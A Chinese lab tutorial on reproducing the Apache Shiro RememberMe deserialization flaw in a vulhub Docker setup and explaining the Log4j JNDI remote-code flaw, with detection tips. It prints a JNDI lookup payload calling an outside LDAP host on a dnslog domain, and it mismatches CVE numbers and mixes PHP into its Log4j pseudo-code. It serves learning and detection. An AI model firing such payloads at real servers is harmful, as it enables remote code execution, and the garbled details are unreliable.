shiro反序列化和log4j

文章目录

  • 安装环境
  • shiro漏洞验证
  • log4j

安装环境

进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞:

cd /vulhub/shiro/CVE-2010-3863

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有一个镜像文件的信息和服务名,以及它的端口号(后面要用):

shiro反序列化和log4j_第1张图片

然后使用下面命令,搭建docker-compose并启动:

sudo docker-compose up -d && sudo docker-compose up -d

如图,安装成功:
shiro反序列化和log4j_第2张图片

shiro漏洞验证

原理如下

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

用bp自带的浏览器打开http://10.9.75.45:8080/,随意输入用户名密码并勾选记住我
shiro反序列化和log4j_第3张图片

点击登录后抓包,发送到repeat模块,发现请求包中有rememberme字段:

shiro反序列化和log4j_第4张图片

点击send发送,响应包中有set-cookie字段,并有rememberMe=deleteMe内容,这是一个shiro反序列化漏洞的强特征,说明有极大的可能存在shiro反序列化:

shiro反序列化和log4j_第5张图片

log4j

log4j(log for Java)是Apache的一个开源项目,是一个基于Java的日志记录框架。该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。

它是一个RCE命令执行的漏洞,它的日志的输出如下:print函数双引号中的内容会被当做字符处理

$user=$_GET("user");
log.print(“用户$user登录失败”);

如果print函数中出现如${jndi:ldap://lof4ot.dnslog.cn/exp}的内容,就会将大括号中的内容当做命令执行

如果流量中遇到下面三个关键字,极大可能是Java的漏洞攻击:

rmi、jndi、ldap

你可能感兴趣的:(渗透测试,网络安全,log4j)